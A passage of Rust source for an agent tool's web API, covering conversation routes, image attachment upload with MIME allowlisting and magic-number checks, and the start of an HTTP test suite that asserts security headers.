6156) -> ApiResult<Json<TalkView>> {
6157    blocking(move || {
6158        let id = resolve_talk(&ui.talks, &id)?;
6159        let mut talk = ui.talks.get(&id)?;
6160        talk::close(&mut talk, &ui.talks)?;
6161        let thinking = ui.is_thinking(&talk.id);
6162        Ok(Json(TalkView::new(talk, thinking)))
6163    })
6164    .await
6165}
6166
6167/// `POST /api/talks/{id}/reopen`.
6168async fn talk_reopen(
6169    State(ui): State<Arc<Ui>>,
6170    Path(id): Path<String>,
6171) -> ApiResult<Json<TalkView>> {
6172    blocking(move || {
6173        let id = resolve_talk(&ui.talks, &id)?;
6174        let mut talk = ui.talks.get(&id)?;
6175        talk::reopen(&mut talk, &ui.talks)?;
6176        let thinking = ui.is_thinking(&talk.id);
6177        Ok(Json(TalkView::new(talk, thinking)))
6178    })
6179    .await
6180}
6181
6182/// `DELETE /api/talks/{id}`.
6183///
6184/// Removes the conversation's record and artifacts outright, unlike
6185/// [`talk_close`] which keeps the record as history. A turn already in
6186/// flight is not refused here the way [`run_delete`] refuses a live run:
6187/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6188/// under [`Talks::guard`], that the record they are about to write back is
6189/// still there, so a delete racing a turn is safe without this route having
6190/// to know a turn is running at all.
6191async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6192    blocking(move || {
6193        let id = resolve_talk(&ui.talks, &id)?;
6194        ui.talks.remove(&id)?;
6195        Ok(StatusCode::NO_CONTENT)
6196    })
6197    .await
6198}
6199
6200/// Expand an id or short id to exactly one talk id.
6201fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6202    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6203}
6204
6205/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6206/// future `talk-say`.
6207async fn talk_attachment_post(
6208    State(ui): State<Arc<Ui>>,
6209    Path(id): Path<String>,
6210    headers: HeaderMap,
6211    body: Bytes,
6212) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6213    let mime = validate_attachment(&headers, &body)?;
6214    let name = filename_header(&headers);
6215    let data = body.to_vec();
6216    blocking(move || {
6217        let id = resolve_talk(&ui.talks, &id)?;
6218        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6219        Ok((StatusCode::CREATED, Json(att)))
6220    })
6221    .await
6222}
6223
6224/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6225/// `<img>` tag in the transcript.
6226async fn talk_attachment_get(
6227    State(ui): State<Arc<Ui>>,
6228    Path((id, att)): Path<(String, String)>,
6229) -> ApiResult<Response> {
6230    blocking(move || {
6231        let id = resolve_talk(&ui.talks, &id)?;
6232        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6233            return Err(ApiError::not_found(format!(
6234                "talk {id} has no attachment `{att}`"
6235            )));
6236        };
6237        Ok(attachment_response(&meta.mime, data))
6238    })
6239    .await
6240}
6241
6242/// Validate an attachment upload's declared `Content-Type` and the bytes
6243/// themselves, returning the canonical mime on success.
6244///
6245/// Two checks, both required: the header has to name one of
6246/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6247/// simply never in the list, active content rather than a picture, the same
6248/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6249/// magic number has to agree. The second is what stops a mislabeled upload -
6250/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6251/// a declared type is a claim, not a fact, so it is never trusted alone.
6252fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6253    if data.len() > ATTACHMENT_MAX_BYTES {
6254        return Err(ApiError::bad_request(format!(
6255            "attachment is {} bytes, over the {} MiB limit",
6256            data.len(),
6257            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6258        ))
6259        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6260    }
6261    if data.is_empty() {
6262        return Err(ApiError::bad_request("attachment is empty"));
6263    }
6264    let declared = declared_mime(headers)?;
6265    match sniffed_mime(data) {
6266        Some(sniffed) if sniffed == declared => Ok(declared),
6267        Some(sniffed) => Err(ApiError::bad_request(format!(
6268            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6269        ))),
6270        None => Err(ApiError::bad_request(
6271            "the file's bytes do not match any accepted image format",
6272        )),
6273    }
6274}
6275
6276/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6277/// and nothing else - parameters like `; charset=` are stripped, but the
6278/// value itself is not otherwise interpreted.
6279fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6280    let raw = headers
6281        .get(header::CONTENT_TYPE)
6282        .and_then(|v| v.to_str().ok())
6283        .unwrap_or("")
6284        .split(';')
6285        .next()
6286        .unwrap_or("")
6287        .trim()
6288        .to_ascii_lowercase();
6289    ATTACHMENT_MIME_WHITELIST
6290        .iter()
6291        .find(|&&m| m == raw)
6292        .copied()
6293        .ok_or_else(|| {
6294            if raw == "image/svg+xml" {
6295                ApiError::bad_request(
6296                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
6297                     not just a picture",
6298                )
6299            } else if raw.is_empty() {
6300                ApiError::bad_request("Content-Type is required for an attachment upload")
6301            } else {
6302                ApiError::bad_request(format!(
6303                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6304                     image/gif or image/webp"
6305                ))
6306            }
6307        })
6308}
6309
6310/// Identify an image by its magic number, independent of whatever
6311/// `Content-Type` claimed.
6312fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6313    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6314        Some("image/png")
6315    } else if data.starts_with(b"\xff\xd8\xff") {
6316        Some("image/jpeg")
6317    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6318        Some("image/gif")
6319    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6320        Some("image/webp")
6321    } else {
6322        None
6323    }
6324}
6325
6326/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
6327/// display - see [`talk::Attachment::name`]'s doc on why it never
6328/// contributes to a path. A missing or blank header (curl without it, an
6329/// older front end) falls back to a generic name rather than refusing the
6330/// upload over a field that is cosmetic.
6331fn filename_header(headers: &HeaderMap) -> String {
6332    headers
6333        .get(FILENAME_HEADER)
6334        .and_then(|v| v.to_str().ok())
6335        .map(str::trim)
6336        .filter(|s| !s.is_empty())
6337        .unwrap_or("attachment")
6338        .to_owned()
6339}
6340
6341/// Every attachment `GET` response: the mime re-validated against the same
6342/// closed whitelist the upload route enforces - never the string trusted
6343/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
6344/// cannot decide it knows better than the type we send. Unlike a panel asset
6345/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
6346/// document renders inline, not agent-authored HTML in a sandboxed frame.
6347fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6348    let content_type = ATTACHMENT_MIME_WHITELIST
6349        .iter()
6350        .find(|&&m| m == mime)
6351        .copied()
6352        .unwrap_or("application/octet-stream");
6353    (
6354        [
6355            (header::CONTENT_TYPE, content_type),
6356            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6357        ],
6358        body,
6359    )
6360        .into_response()
6361}
6362
6363/// The configuration for a repository, read off the disk for this request.
6364///
6365/// Through [`blocking`] because discovery reads and merges several TOML files,
6366/// and because the alternative - caching it in [`Ui`] at startup - would mean
6367/// the operator's phone kept interviewing with a roster they had already
6368/// changed, with no way to reload it but restarting the server they are not
6369/// sitting in front of.
6370async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6371    let repo = repo.to_path_buf();
6372    blocking(move || {
6373        let (cfg, _) = Config::discover(&repo, None)?;
6374        Ok(cfg)
6375    })
6376    .await
6377}
6378
6379/// The one prefix rule, used for both runs and tasks: a leading match for a
6380/// full id, a trailing match for the short form an operator reads off a
6381/// report. Written here rather than borrowed from `queue::resolve_id` because
6382/// the UI needs the two failures as different status codes, and telling them
6383/// apart from an error message is not something to build a route on.
6384fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6385    let mut hits = ids
6386        .into_iter()
6387        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6388    match (hits.next(), hits.next()) {
6389        (Some(one), None) => Ok(one),
6390        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6391        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6392            "`{prefix}` matches more than one {what}, including {a} and {b}"
6393        ))),
6394    }
6395}
6396
6397#[cfg(test)]
6398mod tests {
6399
6400    #[test]
6401    fn holder_reads_the_lease_not_the_record() {
6402        let mut q = Question::new(
6403            "run".to_owned(),
6404            "implement".to_owned(),
6405            "impl-A".to_owned(),
6406            "which?".to_owned(),
6407            String::new(),
6408            Vec::new(),
6409        );
6410        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6411        q.cwd = Some("/tmp".to_owned());
6412        assert_eq!(holder_of(&q, None), Some("nobody"));
6413        let beat = |kind, ago: i64| ask::Lease {
6414            kind,
6415            pid: 1,
6416            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6417                .unwrap(),
6418        };
6419        let fresh = beat(ask::WaiterKind::Asker, 1);
6420        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6421        let daemon = beat(ask::WaiterKind::Daemon, 1);
6422        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6423        let stale = beat(ask::WaiterKind::Asker, 3600);
6424        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6425
6426        // A conductor question says "deputy" only while one is attached and
6427        // alive, and "nobody" - never silence - when nothing ever listened.
6428        let mut c = Question::new(
6429            "task".to_owned(),
6430            crate::conduct::NODE.to_owned(),
6431            "conduct".to_owned(),
6432            "which?".to_owned(),
6433            String::new(),
6434            Vec::new(),
6435        );
6436        assert_eq!(holder_of(&c, None), Some("nobody"));
6437        c.cwd = Some("/tmp".to_owned());
6438        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6439        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6440        let deputy = beat(ask::WaiterKind::Deputy, 1);
6441        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6442        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6443
6444        // A merge approval is the same: nobody until a deputy is attached
6445        // and alive, never a silent "no holder".
6446        let mut m = Question::new(
6447            "run".to_owned(),
6448            crate::land::APPROVAL_NODE.to_owned(),
6449            "land".to_owned(),
6450            "merge?".to_owned(),
6451            String::new(),
6452            Vec::new(),
6453        );
6454        assert_eq!(holder_of(&m, None), Some("nobody"));
6455        assert_eq!(
6456            holder_of(&m, Some(&fresh)),
6457            Some("nobody"),
6458            "a lease with no deputy is not a listener"
6459        );
6460        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6461        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6462        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6463        assert_eq!(holder_of(&m, None), Some("nobody"));
6464    }
6465
6466    #[test]
6467    fn deputies_enabled_follows_the_config() {
6468        // An explicit roster, so the result never depends on which agent CLIs
6469        // this machine has installed.
6470        let on = Config {
6471            agents: vec![crate::config::AgentSpec {
6472                id: "stub".to_owned(),
6473                kind: AgentKind::Command,
6474                model: None,
6475                command: vec!["true".to_owned()],
6476                extra_args: Vec::new(),
6477                env: Default::default(),
6478                prompt_delivery: None,
6479            }],
6480            ..Config::default()
6481        };
6482        assert!(crate::deputy::can_start(Some(&on), ""));
6483        assert!(crate::deputy::can_start(Some(&on), "stub"));
6484        let mut off = on.clone();
6485        off.daemon.max_deputies = 0;
6486        assert!(!crate::deputy::can_start(Some(&off), ""));
6487        let mut empty = on;
6488        empty.agents.clear();
6489        assert!(!crate::deputy::can_start(Some(&empty), ""));
6490        assert!(!crate::deputy::can_start(None, ""));
6491    }
6492
6493    use pretty_assertions::assert_eq;
6494    use serde_json::Value;
6495    use tempfile::TempDir;
6496    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6497
6498    use super::*;
6499    use crate::config::Config;
6500    use crate::queue::Source;
6501
6502    /// How many 10ms steps a settle loop takes before it calls a stall a
6503    /// stall - thirty seconds.
6504    ///
6505    /// These loops wait on real `sh` subprocesses, and the machine that runs
6506    /// the gate runs several suites at once, so a two-second budget was not
6507    /// waiting for the reply, it was racing the scheduler: two of these
6508    /// tests failed under that load with the turn simply not landed yet.
6509    /// This is a hang guard, not a latency assertion - every loop breaks the
6510    /// moment its condition holds, so a generous cap costs an idle machine
6511    /// nothing and still fails a genuine hang instead of hanging the suite.
6512    const SETTLE_STEPS: usize = 3_000;
6513
6514    /// A home with a queue and a runs directory, and a router serving it on
6515    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
6516    /// dependency, not ours - so the tests drive a real socket, which has the
6517    /// side benefit of asserting the status line and content types the phone
6518    /// actually receives.
6519    struct Fixture {
6520        home: TempDir,
6521        addr: SocketAddr,
6522    }
6523
6524    impl Fixture {
6525        async fn start() -> Self {
6526            Self::with_loop(launch_idle).await
6527        }
6528
6529        /// A fixture whose loop is `launch`.
6530        async fn with_loop(launch: Launch) -> Self {
6531            let home = TempDir::new().expect("temp home");
6532            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6533            Self { home, addr }
6534        }
6535
6536        /// A fixture whose `ui.repo` is a real directory rather than the
6537        /// usual placeholder - for the routes that read config off it
6538        /// (`GET /api/repos`) and would otherwise have nothing to discover.
6539        async fn with_repo(repo: PathBuf) -> Self {
6540            let home = TempDir::new().expect("temp home");
6541            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6542            Self { home, addr }
6543        }
6544
6545        /// As [`Fixture::with_repo`], with the machine-config file the
6546        /// settings screen reads and writes.
6547        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6548            let home = TempDir::new().expect("temp home");
6549            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6550            Self { home, addr }
6551        }
6552
6553        async fn serve(
6554            home: &FsPath,
6555            repo: PathBuf,
6556            launch: Launch,
6557            machine: Option<PathBuf>,
6558        ) -> SocketAddr {
6559            let queue = Queue::at(home.join("queue"));
6560            let runs = home.join("runs");
6561            std::fs::create_dir_all(&runs).expect("runs dir");
6562            let worktrees = home.join("wt").join("magi");
6563            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6564            let ui = Ui::new(
6565                queue,
6566                Questions::at(home.join("questions")),
6567                Talks::at(home.join("talks")),
6568                runs,
6569                home.to_path_buf(),
6570                repo,
6571            )
6572            .with_worktrees_root(worktrees)
6573            .with_machine_config(machine)
6574            .with_launch(launch);
6575            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6576                .await
6577                .expect("bind loopback");
6578            let addr = listener.local_addr().expect("local addr");
6579            tokio::spawn(async move {
6580                let _ = axum::serve(listener, ui.router()).await;
6581            });
6582            addr
6583        }
6584
6585        fn queue(&self) -> Queue {
6586            Queue::at(self.home.path().join("queue"))
6587        }
6588
6589        fn questions(&self) -> Questions {
6590            Questions::at(self.home.path().join("questions"))
6591        }
6592
6593        fn talks(&self) -> Talks {
6594            Talks::at(self.home.path().join("talks"))
6595        }
6596
6597        fn runs(&self) -> PathBuf {
6598            self.home.path().join("runs")
6599        }
6600
6601        async fn get(&self, path: &str) -> Res {
6602            request(self.addr, "GET", path, None).await
6603        }
6604
6605        /// The status and headers without the body, which is how the front end
6606        /// preflights a panel: a sandboxed frame is opaque to the parent
6607        /// document, so the only way to tell "no panel" from "a panel that
6608        /// rendered blank" is to ask before mounting.
6609        async fn head(&self, path: &str) -> Res {
6610            request(self.addr, "HEAD", path, None).await
6611        }
6612
6613        async fn post(&self, path: &str, body: Option<&str>) -> Res {
6614            request(self.addr, "POST", path, body).await
6615        }
6616
6617        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6618            request_with(self.addr, "GET", path, None, extra).await
6619        }
6620
6621        async fn delete(&self, path: &str) -> Res {
6622            request(self.addr, "DELETE", path, None).await
6623        }
6624
6625        async fn put(&self, path: &str, body: &str) -> Res {
6626            request(self.addr, "PUT", path, Some(body)).await
6627        }
6628
6629        /// `POST` a raw body with its own headers - see [`request_bytes`].
6630        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6631            request_bytes(self.addr, path, headers, body).await
6632        }
6633    }
6634
6635    struct Res {
6636        status: u16,
6637        headers: String,
6638        /// The header block with its original casing, for the assertions that
6639        /// compare a header *value* rather than looking for a name. Lowercasing
6640        /// a CSP would hide a directive spelled with a capital letter, and the
6641        /// whole point of that test is that the string is exactly right.
6642        head: String,
6643        body: String,
6644        /// The body before any UTF-8 handling, for the routes that serve
6645        /// something other than text. A panel asset is a PNG as often as not,
6646        /// and `from_utf8_lossy` would silently replace half of it.
6647        bytes: Vec<u8>,
6648    }
6649
6650    impl Res {
6651        fn json(&self) -> Value {
6652            serde_json::from_str(&self.body)
6653                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6654        }
6655
6656        /// One header's value verbatim, or `None` when it was not sent.
6657        fn header(&self, name: &str) -> Option<&str> {
6658            self.head.lines().find_map(|line| {
6659                let (key, value) = line.split_once(':')?;
6660                key.trim()
6661                    .eq_ignore_ascii_case(name)
6662                    .then(|| value.trim_start().trim_end_matches('\r'))
6663            })
6664        }
6665    }
6666
6667    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
6668    /// be read to end-of-stream without parsing framing.
6669    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6670        request_with(addr, method, path, body, &[]).await
6671    }
6672
6673    /// As [`request`], with extra request headers - conditional GETs need
6674    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
6675    /// worse than one that sets none.
6676    async fn request_with(
6677        addr: SocketAddr,
6678        method: &str,
6679        path: &str,
6680        body: Option<&str>,
6681        extra: &[(&str, &str)],
6682    ) -> Res {
6683        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6684        for (name, value) in extra {
6685            head.push_str(&format!("{name}: {value}\r\n"));
6686        }
6687        if let Some(body) = body {
6688            head.push_str("Content-Type: application/json\r\n");
6689            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6690        }
6691        head.push_str("\r\n");
6692        if let Some(body) = body {
6693            head.push_str(body);
6694        }
6695        let mut socket = tokio::net::TcpStream::connect(addr)
6696            .await
6697            .expect("connect to the test server");
6698        socket
6699            .write_all(head.as_bytes())
6700            .await
6701            .expect("write request");
6702        let mut raw = Vec::new();
6703        socket.read_to_end(&mut raw).await.expect("read response");
6704        // Split on the raw bytes rather than on a lossy string, so a binary
6705        // body survives to be compared byte for byte.
6706        let split = raw
6707            .windows(4)
6708            .position(|w| w == b"\r\n\r\n")
6709            .expect("a header block");
6710        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6711        let bytes = raw[split + 4..].to_vec();
6712        let status = head
6713            .lines()
6714            .next()
6715            .and_then(|line| line.split_whitespace().nth(1))
6716            .and_then(|code| code.parse().ok())
6717            .expect("a status line");
6718        Res {
6719            status,
6720            headers: head.to_lowercase(),
6721            head,
6722            body: String::from_utf8_lossy(&bytes).into_owned(),
6723            bytes,
6724        }
6725    }
6726
6727    /// A `POST` carrying a raw binary body and its own headers, for the
6728    /// attachment upload route - `request_with` only ever sends
6729    /// `Content-Type: application/json`, which is wrong for an image and
6730    /// would corrupt anything not valid UTF-8 by round-tripping it through
6731    /// `&str` first.
6732    async fn request_bytes(
6733        addr: SocketAddr,
6734        path: &str,
6735        headers: &[(&str, &str)],
6736        body: &[u8],
6737    ) -> Res {
6738        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6739        for (name, value) in headers {
6740            head.push_str(&format!("{name}: {value}\r\n"));
6741        }
6742        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6743        let mut socket = tokio::net::TcpStream::connect(addr)
6744            .await
6745            .expect("connect to the test server");
6746        socket
6747            .write_all(head.as_bytes())
6748            .await
6749            .expect("write request head");
6750        socket.write_all(body).await.expect("write request body");
6751        let mut raw = Vec::new();
6752        socket.read_to_end(&mut raw).await.expect("read response");
6753        let split = raw
6754            .windows(4)
6755            .position(|w| w == b"\r\n\r\n")
6756            .expect("a header block");
6757        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6758        let bytes = raw[split + 4..].to_vec();
6759        let status = head
6760            .lines()
6761            .next()
6762            .and_then(|line| line.split_whitespace().nth(1))
6763            .and_then(|code| code.parse().ok())
6764            .expect("a status line");
6765        Res {
6766            status,
6767            headers: head.to_lowercase(),
6768            head,
6769            body: String::from_utf8_lossy(&bytes).into_owned(),
6770            bytes,
6771        }
6772    }
6773
6774    /// A run on disk, without touching the process-global magi home.
6775    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6776        let mut state = RunState::new(
6777            PathBuf::from("/repo/magi"),
6778            "main".to_owned(),
6779            "0123456789abcdef".to_owned(),
6780            "Add a web UI\n\nMobile first.".to_owned(),
6781            Config::default(),
6782        );
6783        state.id = id.to_owned();
6784        state.status = status;
6785        let dir = runs.join(id);
6786        std::fs::create_dir_all(&dir).expect("run dir");
6787        std::fs::write(
6788            dir.join("run.json"),
6789            serde_json::to_string_pretty(&state).expect("serialize run"),
6790        )
6791        .expect("write run.json");
6792    }
6793
6794    /// Same as [`write_run`], but against a named repository rather than the
6795    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
6796    /// spread across more than one.
6797    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6798        let mut state = RunState::new(
6799            PathBuf::from(repo),
6800            "main".to_owned(),
6801            "0123456789abcdef".to_owned(),
6802            "task".to_owned(),
6803            Config::default(),
6804        );
6805        state.id = id.to_owned();
6806        state.status = status;
6807        let dir = runs.join(id);
6808        std::fs::create_dir_all(&dir).expect("run dir");
6809        std::fs::write(
6810            dir.join("run.json"),
6811            serde_json::to_string_pretty(&state).expect("serialize run"),
6812        )
6813        .expect("write run.json");
6814    }
6815
6816    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6817        let body = serde_json::json!({
6818            "schema": 1,
6819            "pid": 4242,
6820            "started_at": Timestamp::now().to_string(),
6821            "updated_at": updated_at.to_string(),
6822            "idle": false,
6823            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6824            "completed": 7,
6825            "polls": 143,
6826        });
6827        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6828    }
6829
6830    /// A loop that starts, finds nothing to do, and waits to be told to stop.
6831    ///
6832    /// No test in this file may start the real loop - see [`Ui::launch`] for
6833    /// why - so this stands in for the only thing the routes need a loop to
6834    /// do: keep running until `Stop` is set, then return. A real
6835    /// `serve_until` here would resolve its queue and its status file through
6836    /// the process-global magi home, claim whatever it found in the
6837    /// operator's live backlog, overwrite the status file of the `magi serve`
6838    /// that owns it, and spend real agent quota on a real competition.
6839    fn launch_idle(
6840        _opts: daemon::Opts,
6841        stop: daemon::Stop,
6842    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6843        Box::pin(async move {
6844            while !stop.stopped() {
6845                tokio::time::sleep(Duration::from_millis(2)).await;
6846            }
6847            Ok(())
6848        })
6849    }
6850
6851    /// A loop that fails on the way up, the way one whose home has gone
6852    /// read-only does.
6853    fn launch_broken(
6854        _opts: daemon::Opts,
6855        _stop: daemon::Stop,
6856    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6857        Box::pin(async {
6858            Err(anyhow::anyhow!(
6859                "publish the daemon status file: read-only file system"
6860            ))
6861        })
6862    }
6863
6864    /// The address the parking loop knocks on, and what it heard there.
6865    ///
6866    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
6867    /// capture a fixture's address; this is how it is handed one. Only
6868    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
6869    /// these, so nothing else in this binary can race them.
6870    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6871    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6872
6873    /// A loop that, once it is asked to stop, checks the deck still answers
6874    /// before it goes.
6875    ///
6876    /// It stands in for a run mid-node: `finish_loop` waits for this future,
6877    /// so the request it makes is strictly inside the park window - no sleep
6878    /// and no polling needed to be sure of that.
6879    fn launch_knocking_on_the_way_out(
6880        _opts: daemon::Opts,
6881        stop: daemon::Stop,
6882    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6883        Box::pin(async move {
6884            while !stop.stopped() {
6885                tokio::time::sleep(Duration::from_millis(2)).await;
6886            }
6887            let addr = PARK_KNOCK
6888                .lock()
6889                .expect("park knock")
6890                .expect("the test set an address");
6891            let heard = request(addr, "GET", "/api/health", None).await.status;
6892            *PARK_HEARD.lock().expect("park heard") = Some(heard);
6893            Ok(())
6894        })
6895    }
6896
6897    /// The loop view once `want` accepts it.
6898    ///
6899    /// Polled rather than asserted straight after the POST because stopping
6900    /// is deliberately not instant - that is the contract - and rather than
6901    /// slept through because a fixed wait is either flaky or slow.
6902    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
6903    /// finite, so a genuine hang fails the test instead of hanging the
6904    /// suite.
6905    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6906        for _ in 0..SETTLE_STEPS {
6907            let view = fx.get("/api/loop").await.json();
6908            if want(&view) {
6909                return view;
6910            }
6911            tokio::time::sleep(Duration::from_millis(10)).await;
6912        }
6913        panic!(
6914            "the loop never settled: {}",
6915            fx.get("/api/loop").await.json()
6916        );
6917    }
6918
6919    /// File an open question directly in the store the server reads.
6920    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6921        let store = fx.questions();
6922        let mut q = Question::new(
6923            "20260902-000000-beef".to_owned(),
6924            "implement".to_owned(),
6925            "impl-A".to_owned(),
6926            summary.to_owned(),
6927            "because it matters".to_owned(),
6928            choices.iter().map(|c| (*c).to_owned()).collect(),
6929        );
6930        store.put(&mut q).expect("put question");
6931        q.id
6932    }
6933
6934    /// A question with a panel the server can serve, plus the named assets.
6935    ///
6936    /// Written through `Questions::put_panel` rather than by laying out the
6937    /// directory here, so these tests exercise the same on-disk shape the
6938    /// agents produce and cannot pass against a layout only the tests know.
6939    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6940        let store = fx.questions();
6941        let mut q = Question::new(
6942            "20260902-000000-beef".to_owned(),
6943            "land".to_owned(),
6944            "fix".to_owned(),
6945            "Merge this?".to_owned(),
6946            "the diff is in the panel".to_owned(),
6947            vec!["merge".to_owned(), "hold".to_owned()],
6948        );
6949        // Staged outside the questions root, because `put_panel` copies from
6950        // wherever the agent left its files.
6951        let staging = fx.home.path().join("staging");
6952        std::fs::create_dir_all(&staging).expect("staging dir");
6953        let sources: Vec<PathBuf> = assets
6954            .iter()
6955            .map(|(name, bytes)| {
6956                let path = staging.join(name);
6957                std::fs::write(&path, bytes).expect("write staged asset");
6958                path
6959            })
6960            .collect();
6961        store
6962            .put_panel(&mut q, html, &sources)
6963            .expect("write the panel");
6964        store.put(&mut q).expect("put question");
6965        q.id
6966    }
6967
6968    /// A talk on disk, without talking to a model.
6969    ///
6970    /// Written as JSON straight into the store the server reads, because the
6971    /// only constructor `talk::begin` offers takes no turn but still requires
6972    /// a real caller-visible flow. The one thing this cannot make up is the
6973    /// seat, so it is built with the real `SeatState::new` and serialized -
6974    /// the alternative, hand-writing that object, would make these tests fail
6975    /// the day the seat gains a field.
6976    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6977        let store = fx.talks();
6978        std::fs::create_dir_all(store.root()).expect("talks dir");
6979        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6980            .expect("serialize a seat");
6981        let body = serde_json::json!({
6982            "schema": 1,
6983            "id": id,
6984            "repo": "/repo/magi",
6985            "agent": "mock",
6986            "status": status,
6987            "turns": [],
6988            "created_at": Timestamp::now().to_string(),
6989            "updated_at": Timestamp::now().to_string(),
6990            "seat": seat,
6991        });
6992        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6993        store.get(id).expect("the seeded talk has to be readable");
6994        id.to_owned()
6995    }
6996
6997    #[tokio::test]
6998    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6999        let fx = Fixture::start().await;
7000        let id = panel(
7001            &fx,
7002            "<h1>Merge?</h1><img src=\"diff.svg\">",
7003            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7004        );
7005
7006        for path in [
7007            format!("/api/questions/{id}/panel"),
7008            format!("/api/questions/{id}/asset/diff.svg"),
7009        ] {
7010            let res = fx.get(&path).await;
7011            assert_eq!(res.status, 200, "{path}: {}", res.body);
7012            // The whole string, not a substring. A weakened directive - an
7013            // `img-src *` that lets a panel beacon out to a remote host, a
7014            // `script-src` anything, a missing `form-action` that lets it post
7015            // the owner's decision to a third party - has to fail here, and a
7016            // `contains` assertion would let every one of those through.
7017            assert_eq!(
7018                res.header("content-security-policy"),
7019                Some(
7020                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7021                     font-src data:; base-uri 'none'; form-action 'none'; \
7022                     frame-ancestors 'self'"
7023                ),
7024                "{path} is the only thing between a hostile panel and the tailnet"
7025            );
7026            assert_eq!(
7027                res.header("x-content-type-options"),
7028                Some("nosniff"),
7029                "{path}: a browser must not re-decide the type we sent"
